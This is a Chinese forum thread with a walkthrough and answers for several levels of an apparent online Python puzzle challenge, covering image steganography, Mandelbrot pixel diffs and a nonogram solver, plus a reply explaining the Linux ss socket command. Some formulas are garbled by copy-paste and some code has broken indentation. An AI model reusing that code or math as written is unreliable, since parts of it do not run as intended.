                                                                                                                                                        
                                                                                                                                                         
      
                                                                     
                 
                                                  
                                                                                                        
                                                                                                   
      
                                                                                                         
                                                                                    
                                                                                                   
                                                                                                                                                                                         
                                                                                                                                                              
                                                                                                                                                                                                      
                        
                                                                                                                                                                                                     
                                                                                                                                                  
                                                                                 
                                                                        
                                                                                                                                                                                                                                    
                                                                                          
                                 

                                                                                                                                                                                          
                                                                                                                                                                       
                                                                                                                                
                                                                                                                              
                                                                                                                                          
                                                                                                                                                                                         
                                 
                                                                                                                                                            
                                       
                                                                        
                                                                                                            
                                                                                                                                                                                                                                 
                                                        
            
"""
space_list = data.split('\n')
count_list = [len(line) for line in space_list]
count_byte = bytes(count_list)
text = bz2.decompress(count_byte).decode()
print(text)
0x30
提示下载csv格式文件
什么是csv格式文件?
逗号分隔值(Comma-Separated Values,CSV,有时也称为字符分隔值,因为分隔字符也可以不是逗号),其文件以纯文本形式存储表格数据(数字和文本)。纯文本意味着该文件是一个字符序列,不含必须像二进制数字那样被解读的数据。CSV文件由任意数目的记录组成,记录间以某种换行符分隔;每条记录由字段组成,字段间的分隔符是其它字符或字符串,最常见的是逗号或制表符。通常,所有记录都有完全相同的字段序列。通常都是纯文本文件。建议使用WORDPAD或是记事本来开启,再则先另存新档后用EXCEL开启,也是方法之一。
打开内容如下,并发现有7367个数
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211017180149816.png?lastModify=1634643505
7367 = 139*53  这两个质数,依此将转换成图片试试
import re
import numpy as np
from PIL import Image

with open("yankeedoodle.csv", "r") as file:
    data = file.read()
data = re.findall(r"(0.\d*)", data)     #re.findall正则表达式函数,用正则将0.后面的字符取出来\d+:一个或多个数字。\d*:0个或多个数字。

img_data = np.array(data, dtype=np.float64).reshape(139, 53)  #顾名思义,先将数据转换为float浮点数值,再根据139和53进行矩阵reshape
im = Image.fromarray(256 * img_data)  #fromarray的作用就是实现array到image的转换
im = im.rotate(-90, expand=True).transpose(Image.FLIP_LEFT_RIGHT).convert(mode="L")
#给它转个-90°然后.transpose()函数的作用就是调换数组的行列值的索引值(Image.FLIP_LEFT_RIGHT)Image.FLIP_LEFT_RIGHT即为左右镜像翻转
#mode = ‘L’ 代码展示为灰度图像
im.save("formula.png")
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211017184443477.png?lastModify=1634643505
得到一个运算表达式
n = str(x)[5] + str(x[i+1])[5] + str(x[i+2])[6]
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211017184858118.png?lastModify=1634643505

算是这样的
以字符串类型读取数据,每三个一组,每组有三个字符串,取第一个字符串的第5位,第二个字符串的第5位,第三个字符串的第6位,三个字符构成一个数值,转成一个字符。这样,我们得到了一段话
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211017185144865.png?lastModify=1634643505
得到答案grandpa
完整代码如下
import re
import numpy as np
from PIL import Image

with open("yankeedoodle.csv", "r") as file:
    data = file.read()
data = re.findall(r"(0.\d*)", data)     #re.findall正则表达式函数,用正则将0.后面的字符取出来\d+:一个或多个数字。\d*:0个或多个数字。

img_data = np.array(data, dtype=np.float64).reshape(139, 53)  #顾名思义,先将数据转换为float浮点数值,再根据139和53进行矩阵reshape
im = Image.fromarray(256 * img_data)  #fromarray的作用就是实现array到image的转换
im = im.rotate(-90, expand=True).transpose(Image.FLIP_LEFT_RIGHT).convert(mode="L")
#给它转个-90°然后.transpose()函数的作用就是调换数组的行列值的索引值(Image.FLIP_LEFT_RIGHT)Image.FLIP_LEFT_RIGHT即为左右镜像翻转
#mode = ‘L’ 代码展示为灰度图像
im.save("formula.png")

info_list = [int(x1[5] + x2[5] + x3[6]) for x1, x2, x3 in zip(data[::3], data[1::3], data[2::3])]
info = bytes(info_list).decode()
print(info)
0x31
首先,图片超链接到下一关,但又需要用户名和密码,并且提示用户名是“island”,密码是“country”,所以我们要知道这块石头在哪儿,搜索这张图片,知道这是“泰国苏梅岛祖父祖母石”。(Grandfather’s Grandmother’s Rocks - Hin Ta Hin Yai, Koh Samui Island, Thailand)所以用户名是“kohsamui”,密码是“thailand”,进入第二部分。
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211018170542708.png?lastModify=1634643505
提示这个
看着像雪花一样,这就是著名的曼德勃罗集
left=“0.34” top=“0.57” width=“0.036” height=“0.027”w = 640px —— x轴 范围 [left, left+width] = [0.34, 0.376]h = 480px —— y轴 范围 [top, top+height] = [0.57, 0.597]

对于每一个像素点 p = ( w , h ) p=(w,h) p=(w,h),由比例关系计算出其在复平面上的坐标 ( x , y ) (x,y) (x,y),记复数 c = x + y i c=x+yi c=x+yi,从 z 0 = 0 z_{0}=0
$$
z 0         =0
$$


开始迭代,迭代公式为
$$
z i+1​         =z i2​         +c,where z 0​         =0, c=x+yi
$$


记曼德勃罗集为M MM,根据定理,若复数cM,则
$$
∣ z i ∣ < 2 ,   ∀ i ∈ N |z_{i}|<2,\ \forall i\in \mathbb{N} ∣z i​         ∣<2, ∀i∈N。————————————————版权声明:本文为CSDN博主「BigFatFatBrown」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。原文链接:https://blog.csdn.net/enderman19980125/article/details/102529120
$$


迭代次数由option标签给出,最多128次,若迭代完128次,其模仍小于2,则该点的颜色值为127,若
$$
∣ z i ∣ < 2   b u t   ∣ z i + 1 ∣ ≥ 2 |z_{i}|<2 \ but \ |z_{i+1}|\geq 2 ∣z i​         ∣<2 but ∣z i+1​         ∣≥2————————————————版权声明:本文为CSDN博主「BigFatFatBrown」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。原文链接:https://blog.csdn.net/enderman19980125/article/details/102529120
$$


则该点的颜色值为 i i i。其实原图片有palette颜色表,所以颜色值其实是颜色表的索引,并不是真实的颜色值。
这样,我们绘制了一幅和网页图片看起来一模一样的图片。对,这只是看起来一模一样,实际上有些许像素点的值是不同的,将这些不同的像素点提取出来。形式化地,记p0表示网页图片上的某一像素点,p1表示生成图片上对应位置的像素点,则
若p0 == p1,则跳过;
若p0 > p1,则将0(代表黑色)添加进列表;
若p0 < p1,则将255(代表白色)添加进列表;from PIL import Image
left, top, width, height = 0.34, 0.57, 0.036, 0.027
im0 = Image.open("mandelbrot.gif")
im1 = Image.new("P",(640, 480))
im1.putpalette(im0.getpalette()) #调用调色板
for w in range(640):
    for h in range(480):
        z = complex(0, 0)  #complex() 函数用于创建一个值为 real + imag * j 的复数或者转化一个字符串或数为复数。如果第一个参数为字符串,则不需要指定第二个参数。
        c = complex(left + w * width / 640 ,top +(479 - h) * height / 480)
        for i in range(1, 128):
            z = z*z + c
        if abs(z) > 2:
            im1.putpixel((w, h), i - 1)
            break
    else:
        im1.putpixel((w, h), 127)
im1.save("result.png")
得到这个
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211018204551538.png?lastModify=1634643505
不一样的像素点输出成列表
data0, data1 = list(im0.getdata()), list(im1.getdata())
diff = [255 * (p0 < p1) for p0, p1 in zip(data0, data1) if p0 != p1]
print(diff)
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211018205307687.png?lastModify=1634643505
我们得到一个长度为1679的列表,而1679正好可以分解成两个质数的乘积,1679 = 23*73,这显然又是一张图片。
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211018205418780.png?lastModify=1634643505
打开这张图片,感觉像某种神秘的符号,搜索后得知这是“阿雷西博信息”(Arecibo Message)。是于1974年,为庆祝 Arecibo 射电望远镜完成改建,而创作的无线电信息,并以距离地球25,000光年的球状星团M13为目标,把信息透过该望远镜射向太空。最终答案“arecibo ”。完整代码如下:
from PIL import Image
left, top, width, height = 0.34, 0.57, 0.036, 0.027
im0 = Image.open("mandelbrot.gif")
im1 = Image.new("P",(640, 480))
im1.putpalette(im0.getpalette()) #调用调色板
for w in range(640):
    for h in range(480):
        z = complex(0, 0)  #complex() 函数用于创建一个值为 real + imag * j 的复数或者转化一个字符串或数为复数。如果第一个参数为字符串,则不需要指定第二个参数。
        c = complex(left + w * width / 640 ,top +(479 - h) * height / 480)
        for i in range(1, 128):
            z = z*z + c
        if abs(z) > 2:
            im1.putpixel((w, h), i - 1)
            break
    else:
        im1.putpixel((w, h), 127)
im1.save("result.gif")
data0, data1 = list(im0.getdata()), list(im1.getdata())
diff = [255 * (p0 < p1) for p0, p1 in zip(data0, data1) if p0 != p1]
im2 = Image.new("L", (23, 73))
im2.putdata(diff)
im2.save("result223.jpg")
0x32
提示下载文件“warmup.txt”
根据“warmup.txt”中的数据绘制出一个“向上箭头”的图案,答案是“up”;跳转到新的up.txt文件
挺难的 考虑到数据结构和算法
下面是大佬的脚本
def level_32() -> None:    print(f"\033[31mLevel 32\033[0m")    import numpy as np    from PIL import Image
is_solved = False
ans_points = np.zeros(1)

n = 9
horizontal = [[2, 1, 2], [1, 3, 1], [5], [7], [9], [3], [2, 3, 2], [2, 3, 2], [2, 3, 2]]
vertical = [[2, 1, 3], [1, 2, 3], [3], [8], [9], [8], [3], [1, 2, 3], [2, 1, 3]]

n = 32
horizontal = [[3, 2], [8], [10], [3, 1, 1],
              [5, 2, 1], [5, 2, 1], [4, 1, 1], [15],
              [19], [6, 14], [6, 1, 12], [6, 1, 10],
              [7, 2, 1, 8], [6, 1, 1, 2, 1, 1, 1, 1], [5, 1, 4, 1], [5, 4, 1, 4, 1, 1, 1],
              [5, 1, 1, 8], [5, 2, 1, 8], [6, 1, 2, 1, 3], [6, 3, 2, 1],
              [6, 1, 5], [1, 6, 3], [2, 7, 2], [3, 3, 10, 4],
              [9, 12, 1], [22, 1], [21, 4], [1, 17, 1],
              [2, 8, 5, 1], [2, 2, 4], [5, 2, 1, 1], [5]]
vertical = [[5], [5], [5], [3, 1],
            [3, 1], [5], [5], [6],
            [5, 6], [9, 5], [11, 5, 1], [13, 6, 1],
            [14, 6, 1], [7, 12, 1], [6, 1, 11, 1], [3, 1, 1, 1, 9, 1],
            [3, 4, 10], [8, 1, 1, 2, 8, 1], [10, 1, 1, 1, 7, 1], [10, 4, 1, 1, 7, 1],
            [3, 2, 5, 2, 1, 2, 6, 2], [3, 2, 4, 2, 1, 1, 4, 1], [2, 6, 3, 1, 1, 1, 1, 1], [12, 3, 1, 2, 1, 1, 1],
            [3, 2, 7, 3, 1, 2, 1, 2], [2, 6, 3, 1, 1, 1, 1], [12, 3, 1, 5], [6, 3, 1],
            [6, 4, 1], [5, 4], [4, 1, 1], [5]]

def print_points(points: np.array) -> None:
    # print array in console
    if points[0, 0] == -2:
        print("ERROR\n")
        return
    for i in range(n):
        for j in range(n):
            if points[i, j] >= 1:
                print('█', end='')
            elif points[i, j] == 1:
                print('■', end='')
            elif points[i, j] == 0:
                print('.', end='')
            elif points[i, j] == -1:
                print('×', end='')
        print()
    print()

def horizontal_put(points: np.array, x: int, y0: int, y1: int) -> np.array:
    # the next position of current array is already occupied
    if y1 + 1 < n and np.min(points[x, y0:y1 + 1]) >= 1:
        points[0, 0] = -3
        return points
    # some positions of current array are inaccessible
    if np.min(points[x, y0:y1]) == -1 or (y1 < n and points[x, y1] > 0):
        points[0, 0] = -2
        return points
    # set all positions of current array occupied
    points[x, y0:y1] = 1
    # set the next position of current array inaccessible
    if y1 < n:
        points[x, y1] = -1
    return points

def vertical_put(points: np.array) -> np.array:
    for y in range(n):
        x = 0
        # this column is already finished
        if points[n - 1, y] != 0:
            continue
        for i, nums in enumerate(vertical[y]):
            # find next begin position of this column
            while x < n and points[x, y] <= 0:
                x += 1
            # at the end of this column
            if x == n:
                break
            # goto the end position of current array
            if points[x, y] == 2:
                x += nums
            # not enough positions to put current array
            elif points[x, y] == 1 and x + nums - 1 >= n:
                points[0, 0] = -2
                return points
            # set positions of current array occupied
            elif points[x, y] == 1:
                points[x, y] = 2
                points[x + 1:x + nums, y] = 1
                # set the next position of current array inaccessible
                if x + nums < n:
                    points[x + nums, y] = -1
                # this is the last array and set all rest positions inaccessible
                if i + 1 == len(vertical[y]) and x + nums < n:
                    points[x + nums:, y] = -1
                break
    return points

def search(points: np.array, x: int, y: int, k: int) -> None:
    nonlocal is_solved, ans_points
    # solution is found
    if x == n:
        print_points(points)
        ans_points = points.copy()
        is_solved = True
        return

    # the last position of this row can start this array
    j_end = n - sum(horizontal[x][k:]) - (len(horizontal[x]) - k - 1)

    for j in range(y, j_end + 1):
        # the previous position of current array is occupied
        if j >= 1 and points[x, j - 1] > 0:
            break

        # create a copy
        j1 = j + horizontal[x][k]
        new_points = points.copy()

        # try to put current array into positions row[x] column[j-j1]
        new_points = horizontal_put(new_points, x, j, j1)
        # error code -2
        if new_points[0, 0] == -2:
            continue
        # error code -3
        elif new_points[0, 0] == -3:
            break

        # check and put arrays in columns
        new_points = vertical_put(new_points)
        if new_points[0, 0] == -2:
            continue

        # this is the last array of this row, but some rest positions of this row are still occupied
        if k + 1 == len(horizontal[x]) and j1 < n and np.max(new_points[x, j1:]) > 0:
            continue

        # recur to next
        if k + 1 == len(horizontal[x]):
            search(new_points, x + 1, 0, 0)
        else:
            search(new_points, x, j1 + 1, k + 1)

        # solution is already found
        if is_solved:
            return

search(np.zeros((n, n), dtype=np.int), 0, 0, 0)

ans_points[ans_points > 0] = 255
ans_points[ans_points <= 0] = 0
im = Image.fromarray(ans_points.astype(np.uint8), "L")
im.save("level_32/python.jpg")
0x33
啊啊啊,最后一关啦!本关考察对图片和字节流的处理。看到图片名是“beer1.jpg”,尝试“beer2.jpg”,弹出一张图片写着“no, png”,于是尝试“png”,发现只有“beer2.png”存在。
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211019191523650.png?lastModify=1634643505
这张图片是138*138大小的,一共有19044个像素,每个像素有一个颜色值,于是有
data(len=138*138) = [1, 43, 7, 13, 7, 1, 1, 85, 25, 85, 25, 1, 91, 103, 31, 37, 1, 13, 169, 1, …… ]
找出颜色值中最大的两个,是193和194,把所有颜色值为193或194的像素变白(255),其它像素变黑(0),得到一张图片“138.png”。现在将data中所有的193和194删除,得到新的data为
data(len=132*132) = [1, 43, 7, 13, 7, 1, 1, 85, 25, 85, 25, 1, 91, 103, 31, 37, 1, 13, 169, 1, …… ]
前20个数都没变,但data的长度变了,发现长度还是一个完全平方数。同样地,找到最大的两个颜色值,是187和188,把所有颜色值为187或188的像素变白(255),其它像素变黑(0),得到一张图片“132.png”。现在将data中所有的187和188删除,得到新的data为
data(len=130*130) = [1, 43, 7, 13, 7, 1, 1, 85, 25, 85, 25, 1, 91, 103, 31, 37, 1, 13, 169, 1, …… ]、
完整代码如下
from PIL import Image
    import numpy as np
im = Image.open("beer2.png")
data_list = list(im.getdata())
data_set = set(data_list)
while data_set:
    c0 = max(data_set)
    data_set.remove(c0)
    c1 = max(data_set)
    data_set.remove(c1)
    c0, c1 = max(c0, c1), min(c0, c1)

    n = int(len(data_list) ** 0.5)
    data_np = np.array(data_list, dtype=np.uint8).reshape(n, n)
    data_np[data_np >= c1] = 255
    data_np[data_np < c1] = 0
    data_list = [c for c in data_list if c < c1]

    im = Image.fromarray(data_np, "L")
    im.save(f"{n}.png")
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211019192157940.png?lastModify=1634643505
得到这些.把这些带边框的英文字母连起来就是“gremlins”

ok 本系列就到此吧



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2021-10-16 17:24:37 | 显示全部楼层
ss命令用于显示socket状态

ss命令用于显示socket状态. 他可以显示PACKET sockets, TCP sockets, UDP sockets, DCCP sockets, RAW sockets, Unix domain sockets等等统计. 它比其他工具展示等多tcp和state信息. 它是一个非常实用、快速、有效的跟踪IP连接和sockets的新工具.SS命令可以提供如下信息:

所有的TCP sockets

所有的UDP sockets

所有ssh/ftp/ttp/https持久连接

所有连接到Xserver的本地进程

使用state(例如:connected, synchronized, SYN-RECV, SYN-SENT,TIME-WAIT)、地址、端口过滤

所有的state FIN-WAIT-1 tcpsocket连接以及更多

很多流行的Linux发行版都支持ss以及很多监控工具使用ss命令.熟悉这个工具有助于您更好的发现与解决系统性能问题.本人强烈建议使用ss命令替代netstat部分命令,例如netsat -ant/lnt等.

展示他之前来做个对比,统计服务器并发连数

```html
netstat
# time netstat -ant | grep EST | wc -l3100
real 0m12.960s
user 0m0.334s
sys 0m12.561s
# time ss -o state established | wc -l3204
real 0m0.030s
user 0m0.005s
sys 0m0.026s
```

结果很明显ss统计并发连接数效率完胜netstat,在ss能搞定的情况下, 你还会在选择netstat吗, 还在犹豫吗, 看以下例子,或者跳转到帮助页面.

常用ss命令:

```
ss -l 显示本地打开的所有端口
ss -pl 显示每个进程具体打开的
socketss -t -a 显示所有tcp socket
ss -u -a 显示所有的UDP Socekt
ss -o state established '( dport = :smtp or sport = :smtp )' 显示所有已建立的SMTP连接
ss -o state established '( dport = :http or sport = :http )' 显示所有已建立的HTTP连接
ss -x src /tmp/.X11-unix/* 找出所有连接X服务器的进程ss -s 列出当前socket详细信息:
```

显示sockets简要信息,列出当前已经连接,关闭,等待的tcp连接

```
# ss -s
Total: 3519 (kernel 3691)
TCP: 26557 (estab 3163, closed 23182, orphaned 194, synrecv 0, timewait 23182/0), ports 1452
Transport Total IP IPv6
* 3691 - -
RAW 2 2 0
UDP 10 7 3
TCP 3375 3368 7
INET 3387 3377 10
FRAG 0 0 0
```

列出当前监听端口

```
# ss -lRecv-Q Send-Q Local Addressort Peer Addressort
0 10 :::5989 :::*
0 5 *:rsync *:*
0 128 :::sunrpc :::*
0 128 *:sunrpc *:*
0 511 *:http *:*
0 128 :::ssh :::*
0 128 *:ssh *:*
0 128 :::35766 :::*
0 128 127.0.0.1:ipp *:*
0 128 ::1:ipp :::*
0 100 ::1:smtp :::*
0 100 127.0.0.1:smtp *:*
0 511 *:https *:*
0 100 :::1311 :::*
0 5 *:5666 *:*
0 128 *:3044 *:*
```

**ss列出每个进程名及其监听的端口**

```
# ss -pl
```

**ss列所有的tcp sockets**

```
# ss -t -a
```

**ss列出所有udp sockets**

```
# ss -u -a
```

**ss列出所有http连接中的连接**

```
# ss -o state established '( dport = :http or sport = :http )'
```

·以上包含对外提供的80,以及访问外部的80

·用以上命令完美的替代netstat获取http并发连接数,监控中常用到

**ss列出本地哪个进程连接到x server**

```
# ss -x src /tmp/.X11-unix/*
```

ss列出处在FIN-WAIT-1状态的http、https连接**

```
# ss -o state fin-wait-1 '( sport = :http or sport = :https )'
```

**ss常用的state状态:**

```
established
syn-sent
syn-recv
fin-wait-1
fin-wait-2
time-wait
closed
close-wait
last-ack
listen
closing
all : All of the above states
connected : All the states except for listenandclosed
synchronized : All the connected states except for syn-sent
bucket : Show states, which are maintained as minisockets, i.e. time-wait and syn-recv.
big : Opposite to bucket state.
```

```
更多命令可以查询:
https://mp.weixin.qq.com/s/AzH0gatJllx2jbqMWlv9vQ
```

**为什么ss比netstat快:**

netstat是遍历/proc下面每个PID目录,ss直接读/proc/net下面的统计信息。所以ss执行的时候消耗资源以及消耗的时间都比netstat少很多

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 00:47 , Processed in 0.027324 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表